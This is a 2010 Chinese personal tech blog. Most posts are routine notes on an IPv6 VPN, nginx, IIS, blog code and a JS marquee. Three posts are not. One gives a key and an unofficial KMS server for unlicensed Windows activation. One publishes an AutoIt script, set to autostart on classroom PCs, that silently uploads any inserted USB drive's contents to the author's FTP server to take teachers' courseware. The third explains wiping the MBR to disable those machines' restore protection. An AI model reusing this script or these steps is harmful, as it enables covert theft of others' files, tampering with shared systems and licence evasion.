VPN for IPv6

2010/06/16 02:46 上午  |  分类:技术心得

在IPv6不收费的情况,可以大胆抛弃锐捷那个烂东西了。

————————————————————

  1. 需要一台服务器,有IPv4和IPv6接入;
  2. 启用Windows 2008 或者 Windows 2008 R2 带的“路由和远程访问”服务;
  3. 按照网上说的设置,其实就是默认设置;IPv4设置的时候可以选择用NAT,这样子VPN连上过后就会获得虚拟的地址,也可以不用NAT,自动从DHCP获得,这样VPN连上后就会获得服务器同段的IP,两种都行,不影响目的;
  4. 设置远程访问策略,把Users用户组加进去,这样只要Users用户组里的用户就能使用这个VPN;
  5. 需要客户端通过IPv6来连接的话,用PPTP尝试后没有成功(用IPv4连接可以,IPv6失败),于是选用L2TP来连接。在服务器“路由和远程访问 属性”的“安全”标签里勾上“允许L2TP连接使用自定义IPsec策略”并设一个密码。(不这样做的话,连接时会提示策略不正确);
  6. 下面是客户端,需要WIn7或者Vista系统,XP不行。添加一个VPN,不要立即连接。在属性里,“安全”标签内把“VPN类型”调为L2TP,并且在下面的高级设置里使用在服务器上设置的那个策略密码;“网络”标签内去掉IPv6协议的勾,因为不需要从VPN那里获得IPv6地址(如果不去掉,获到是转发的v6地址,可能会导致正常的v6上不去)。
  7. 这样子就能连接了。帐号密码是服务器Users用户组里用户的帐号和密码(个人觉得这里可以专门弄个用户组,增加安全性;因为是我自己用,所以偷懒就用了Users用户组)。连接上后,能获到IPv4地址,网页浏览没问题,QQ也没问题,下载速度也很快。

Win 2008 R2 Std KMS激活

2010/06/14 11:32 下午  |  分类:技术心得

网上找到的 Windows 2008 R2 Standard 的 KMS 激活。实测可用。

先将时区调到 UTC+3:00 莫斯科

然后依次在运行里输入并执行三句命令:

slmgr.vbs -ipk YC6KT-GKW9T-YTKYR-T4X34-R7VHC

slmgr.vbs -skms kmsr2.dynalias.com:1688

slmgr.vbs -ato

即可完成激活。

将时区调回北京。

debian下安装nginx

2010/06/03 08:15 下午  |  分类:技术心得

据说nginx很有前途,于是装了下试试。下面是记录。

1、首先需要一些包的支持

aptitude install libpcre3 libpcre3-dev libpcrecpp0 libssl-dev zlib1g-dev

2、然后用wget下载源码,我弄了个稳定版的

wget http://sysoev.ru/nginx/nginx-0.7.65.tar.gz

3、解压

tar -zxvf nginx-0.7.65.tar.gz

4、进入解压目录配置

cd nginx-0.7.65
./configure   --conf-path=/etc/nginx/nginx.conf   --error-log-path=/var/log/nginx/error.log   --pid-path=/var/run/nginx.pid   --lock-path=/var/lock/nginx.lock   --http-log-path=/var/log/nginx/access.log   --with-http_dav_module   --http-client-body-temp-path=/var/lib/nginx/body   --with-http_ssl_module   --http-proxy-temp-path=/var/lib/nginx/proxy   --with-http_stub_status_module   --http-fastcgi-temp-path=/var/lib/nginx/fastcgi   --with-debug   --with-http_flv_module

这是用deb包安装时的配置

5、然后编译和安装

make&&make install

如果是新的精简系统,可能make用不了,apt-get install make一下就行了。

......

Win7下IIS的一个小问题

2010/05/31 12:02 上午  |  分类:技术心得

添加网站后自动生成的应用程序池默认是ApplicationPoolIdentity,这样子跑程序是没问题,但是在访问数据库的时候会提示访问权限不足,进而整站歇掉。

看了下这个博客在的Server的配置,应用程序池默认是NetwordService,所以没有什么问题。

于是“设置应用程序池默认设置”,将标识设为NetwordService,就OK了。

[更新]添加了一个ubb代码,用于插入mp3

2010/05/18 11:06 下午  |  分类:技术心得

ckeditor能很好的插入图片和flash,但是对于音频确是没有比较好的支持。

因此,加入了一个ubb代码——mp3,用于插入mp3。

这个需要用正则来处理

public static string UbbToHtml(string str)
{
    Regex my = new Regex(@"(\[mp3\])(.[^\[]*)(\[\/mp3\])", RegexOptions.IgnoreCase);
    str = my.Replace(str, "<object type=\"application/x-shockwave-flash\" data=\"player/dewplayer-rect.swf\" width=\"240\" height=\"20\" id=\"dewplayer\" name=\"dewplayer\"><param name=\"wmode\" value=\"transparent\" /><param name=\"movie\" value=\"player/dewplayer-rect.swf\" /><param name=\"flashvars\" value=\"mp3=$2&autostart=1&autoreplay=1&showtime=1\" /></object>");
    return str;
}

其中用了一款名为dewplayer的播放器,只能播放mp3;wma不行。可以循环播放多首。

由于是自动播放,所以在首页没有解析这个ubb,并且连同其中的url一同屏蔽。只有点开日志才能看到播放器。

另外,这次更新还修正了边栏上评论的一个小bug。取消了原先的换行,以防止样式被破坏。

 

下面测试一下。(目前能远程引用链接。本地上传仍在折腾中)

Javascript实现滚动效果

2010/03/26 12:56 上午  |  分类:技术心得

这个不是什么技术,算是留个记录吧。

<marquee>滚动的文字</marquee>用起来并不是怎么方便的。

所以,弄个了JS的:

<script> 
var speed= 50;
var tab=document.getElementById("demo");
var tab1=document.getElementById("demo1");
var tab2=document.getElementById("demo2");
tab2.innerHTML=tab1.innerHTML;
function Marquee(){
if(tab2.offsetWidth-tab.scrollLeft<=0)
tab.scrollLeft-=tab1.offsetWidth
else{
tab.scrollLeft++;
}
}
var MyMar=setInterval(Marquee,speed);
tab.onmouseover=function() {clearInterval(MyMar)};
tab.onmouseout=function() {MyMar=setInterval(Marquee,speed)};
</script>
<div style="padding-top:12px; width:700px;">
<style type="text/css"> 
<!--
#demo {
background: #FFF;
overflow:hidden;
border: 1px dashed #CCC;
width: 700px;
}
#demo img {
border: 3px solid #F2F2F2;
}
#indemo {
float: left;
width: 800%;
}
#demo1 {
float: left;
}
#demo2 {
float: left;
}
-->
</style>
<div id="demo">
    <div id="indemo">
        <div id="demo1">
        <!--这里是内容-->
        </div>
     <div id="demo2"></div>
    </div>
</div>
</div>

修正了一个关于伪静态的BUG

2010/03/22 12:45 上午  |  分类:技术心得

所有文章列表的URL都是相对路径,在动态页面的时候没有问题;但是使用伪静态访问后URL出现了变化,导致侧栏的文章列表失效。将URL改成绝对路径后OK~

 

下一步的计划是把发表日志的功能加强:加上tags功能。方便大家查阅日志。这包括后台发表日志的功能,前台日志页显示tags,tags搜索结果页,以及边栏tags统计,或者说是标签云。工程浩大。。。敬请期待吧。。。

 

之后要加入单页功能。类似于WP的About那种页面。设想使用静态页来实现。这个到时候再说。

 

还有就是要增加UBB代码解析,这样子可以方便的插入mp3之类的了。

 

当然,微博功能也是要加的。。。那么大一个banner不能空着=。=!

[更新]评论功能上线公测

2010/03/20 12:41 上午  |  分类:技术心得

评论上线公测了,可能,或者说应该会存在bug。

暂时需要审核才能显示。

同时修正了其他几个bug,包括一个比较致命的错误:

操作数据库的内容未将单引号替换成两个单引号,本次更新将其修正了。

悄悄地把课件传上FTP...

2010/03/11 11:34 下午  |  分类:技术心得

感谢网络中心给每个教室的电脑都接了网。

对于不给拷课件的老师,我们只有做点手脚了。 有网绝对好办。

首先把还原精灵给干了,这个我说过了。

嗯,放个脚本偷偷传,是个好主意。可VB不熟(顶多混个二级过关),C++都不会。那么。。。哈哈~用AutoIt吧~

脚本还没写的很好,不过关键问题解决了。一个是用FTP方式上传,一个是检测可移动设备:

#include <FTPEx.au3>
$server = 'www.njnu.me'
$username = 'xxx'
$password = 'xxx'
$localdir = 'f:'
$remotedir = ''
$ftpopen = _FTP_Open("up")
$ftpconn = _FTP_Connect($ftpopen,$server,$username,$password)
$rt1 = _FTP_DirPutContents($ftpconn,$localdir,$remotedir,0)
$rt2 = _FTP_DirPutContents($ftpconn,$localdir,$remotedir,1)

这是上传的。最后有2句差不多的,前一个是把目录下的文件上传,后一个是遍历所有子目录上传其中的文件。

While 1
Sleep(300)
$var = DriveGetDrive("REMOVABLE")
For $i = 1 To $var[0]
 If $var[$i] <> "a:" Then
  '这里执行上传代码($var[$i]为驱动器盘符)
  Exit
 EndIf
Next
Sleep(5000)
WEnd

这是检测移动设备的。有时候A盘也会被看作可移动设备,所以要去掉。脚本可以加到开机启动项里,每过大概5分钟检测一次,直到可移动设备出现。

......

干掉还原精灵

2010/03/11 09:54 上午  |  分类:技术心得

这个标题看起来很暴力而已,实际上很温柔的。

开机前进入DOS工具箱(一般的集成XP盘都带),一般都会有管理硬盘分区的软件。选择重建主引导扇区(MBR),然后重启使得设置生效。这时候就会发现还原精灵的还原界面没有了,直接看到XP那个启动界面。

下面会小悲剧下,不出意外会蓝屏。再次重启,Windows会让你选择用哪种方式启动,选择“最后一次正确的配置”,就是最长的那个。进入系统就不会蓝屏了。

进入系统后卸载还原精灵就无需输入密码了,然后提示有卸载错误。不去管它,实际上已经卸载了。